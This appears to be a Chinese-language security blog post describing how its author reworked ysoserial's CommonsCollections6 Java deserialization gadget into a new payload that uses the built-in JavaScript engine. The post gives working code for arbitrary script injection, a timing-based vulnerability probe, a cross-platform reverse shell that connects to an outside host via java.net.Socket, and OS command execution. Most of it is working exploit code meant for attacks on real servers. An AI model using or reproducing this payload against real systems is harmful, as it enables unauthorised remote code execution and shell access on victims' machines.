学习了,清水大佬就是牛逼!
0x01 前言
最近在研究某XXXC的一个servlet反序列化漏洞时发现,第一版payload前期使用HashMap控制其filename和path,多余的post流直接作为文件填充的内容.随后查看了补丁,发现了其并未修复反序列化漏洞,只是对filename和path做了些检查和控制.而剩下的反序列化问题依然存在,随即找到了CommonsCollections6这条gadget可以使用.但对于一个性格色彩带有黄色属性(完美主义者)的我来说,这条gadget只能执行个单命令并不完美.
0x02 改造前的分析
既然不完美,那么就亲自操刀来改造一下.
首先来看看chain.
java.util.HashMap.readObject()
java.util.HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
可以看出这条gagdet会反射使用Runtime的相关方法来执行OS命令.
Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, cmd),
new ConstantTransformer(1)};
如果使用Runtime势必只能执行单命令,执行复杂命令只能使用在线的Runtime编码接口,编码为base64,而Win系统得借助powershell,但实战遇到的机器为2003时不在少数,2003的机器并无powershell.且写文件的操作也会非常复杂.我花了一段时间以后,发现可以反射使用javax.script.ScriptEngineManager
来实现我的想法.
0x03 JDK内置的JS引擎
科普一下javax.script.ScriptEngineManager
.这个类在jdk中可以用以执行一些脚本语言,例如比较流行的有JavaScript、Scala、JRuby、Jython和Groovy等.而JavaSE6中自带了JavaScript
语言的脚本引擎,基于Mozilla的Rhino实现,可以通过三种方式查找脚本引擎:
- 1.通过脚本名称获取:
ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");
2.通过MIME类型来获取:
ScriptEngine engine = new ScriptEngineManager().getEngineByExtension("js");
3.通过MIME类型来获取:
ScriptEngine engine = new ScriptEngineManager().getEngineByMimeType("text/javascript");
#### 示例:
例如我们要和js混编打印一个HelloWord:ScriptEngineManager manager = new ScriptEngineManager(); ScriptEngine engine = manager.getEngineByName("JavaScript"); engine.eval("println('Hello Word');");
当然反射的写法如下:
Class clazz = Class.forName("javax.script.ScriptEngineManager"); Object manager = clazz.getDeclaredConstructor().newInstance(); Method getEngineByName = clazz.getDeclaredMethod("getEngineByName", String.class); Object scriptEngine = getEngineByName.invoke(manager,"JavaScript"); Method eval = scriptEngine.getClass().getMethod("eval",String.class); eval.invoke(scriptEngine,"println('Hello Word');");
#### 注意事项:
由于是和js混编,所以要充分注意js的一些语法和Java语法的区别- 1.变量命名
js是弱类型的语言,所有变量使用var即可,且不需要声明类型也不支持类型转换.
例如 String a 和 int b需要写为var a 和 var b. - 2.异常捕捉
异常不用声明类型
例如### 0x04 开始改造try { var a; } catch (e){ }
了解了特性以后,开始我们的改造计划.我们唯一需要大改的地方就是我们的Transformer.我们修改为如下:可以看到一切功能由cmd控制.String[] execArgs = new String[]{cmd}; Transformer[] transformers = new Transformer[]{new ConstantTransformer(ScriptEngineManager.class), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new InvokerTransformer("getEngineByName", new Class[]{String.class}, new Object[]{"JavaScript"}), new InvokerTransformer("eval", new Class[]{String.class}, execArgs), new ConstantTransformer(1)};
我增加支持了四种功能. 1.代码注入
我们可以注入我们自己的代码.
假如用户命令以CodeFile:开头,只需要将要注入的js代码放入文件中即可if (command.startsWith("CodeFile:")) { File codeFile = new File(command.substring(9)); StringBuilder result = new StringBuilder(); try { BufferedReader br = new BufferedReader(new FileReader(codeFile)); String s = null; while((s = br.readLine()) != null) { result.append(s + "\n"); } br.close(); } catch (Exception var20) { var20.printStackTrace(); } cmd = result.toString(); System.err.println("----------------------------------Java codefile start----------------------------------"); System.err.println(cmd); System.err.println("-----------------------------------Java codefile end-----------------------------------"); }
例如CodeFile:1.java, 1.java内容如下:
var a; java.lang.Thread.sleep(3000);
- 2.延迟注入:
我们可以使用线程阻塞来做到延迟注入,判断是否存在漏洞,就算是机器不出网依然可以判断.假如用户命令以sleep-check-开头,例如sleep-check-10,则延迟10s,用户可以通过查看response时间来判断是否存在漏洞.if (command.startsWith("sleep-check-")) { long i = Integer.parseInt(command.split("[-]")[2]) * 1000; cmd = String.format("java.lang.Thread.sleep(%s);",i); }
- 3.shell反弹:
我们除了使用原生反弹以外,其实Java中内置java.net.Socket
可以反弹shell.由于jdk是跨平台的,所以无关机器类型,2003的机器依然可以借助该api而不用借助powershell反弹shell.
if (command.toLowerCase(Locale.ENGLISH).startsWith("connectback:")) {
if (command.split(":").length != 3) {
throw new IllegalArgumentException("Connect back command format is connectback:<host>:<port> (got " + command + ")");
}
String host = null;
host = command.split(":")[1];
int port = 0;
try {
port = Integer.parseInt(command.split(":")[2]);
} catch (NumberFormatException var14) {
throw new IllegalArgumentException("Invalid port specified for connect back command (" + command.split(":")[2] + ")");
}
if (port < 1 || port > 65535) {
throw new IllegalArgumentException("Invalid port specified for connect back command (" + port + ")");
}
cmd = String.format("var host = \"%s\";\n" +
"var port = %d;\n" +
"var p;\n" +
"var os = java.lang.System.getProperty(\"os.name\").toLowerCase(java.util.Locale.ENGLISH);\n" +
"if(os.contains(\"win\")){\n" +
" p = new java.lang.ProcessBuilder(\"cmd\").redirectErrorStream(true).start();\n" +
" }else{\n" +
" p = new java.lang.ProcessBuilder(\"sh\").redirectErrorStream(true).start();\n" +
" }\n" +
"var s = new java.net.Socket(host,port);\n" +
"var pi = p.getInputStream(),pe = p.getErrorStream(),si = s.getInputStream();\n" +
"var po = p.getOutputStream(),so = s.getOutputStream();\n" +
"while(!s.isClosed()) {\n" +
"while(pi.available()>0) {\n" +
"so.write(pi.read());\n" +
"}\n" +
"while(pe.available()>0) {\n" +
"so.write(pe.read());\n" +
"}\n" +
"while(si.available()>0) {\n" +
"po.write(si.read());\n" +
"}\n" +
"so.flush();\n" +
"po.flush();\n" +
"java.lang.Thread.sleep(50);\n" +
"try {\n" +
"p.exitValue();\n" +
"break;\n" +
"}\n" +
"catch (e){\n" +
"}\n" +
"};\n" +
"p.destroy();\n" +
"s.close();",host,port);
}
例如反弹回127.0.0.1的80端口,则为connectback:127.0.0.1:80.
4.原始命令执行:
这个就是普通的命令执行,自动判断os类型以后加入os底层.cmd = "var isWin = java.lang.System.getProperty(\"os.name\").toLowerCase().contains(\"win\");\nvar cmd = new java.lang.String(\"" + command + "\");\n" + "var listCmd = new java.util.ArrayList();\n" + "var p = new java.lang.ProcessBuilder();\n" + " if(isWin){\n" + " p.command(\"cmd.exe\", \"/c\", cmd);\n" + " }else{\n" + " p.command(\"sh\", \"-c\", cmd);\n" + " }\n" + "p.redirectErrorStream(true);\n" + "var process = p.start();";
### 0x05 改造完成
新建一个ysoserial.payloads.CommonsCollections12
打包进ysoserial以后即可.1.代码注入测试
2.延迟注入测试
3.反弹shell测试
4.普通命令执行
0x06 后面的话
感谢Bearcat、Ntears、cafebabe提供相关模块的实现思路.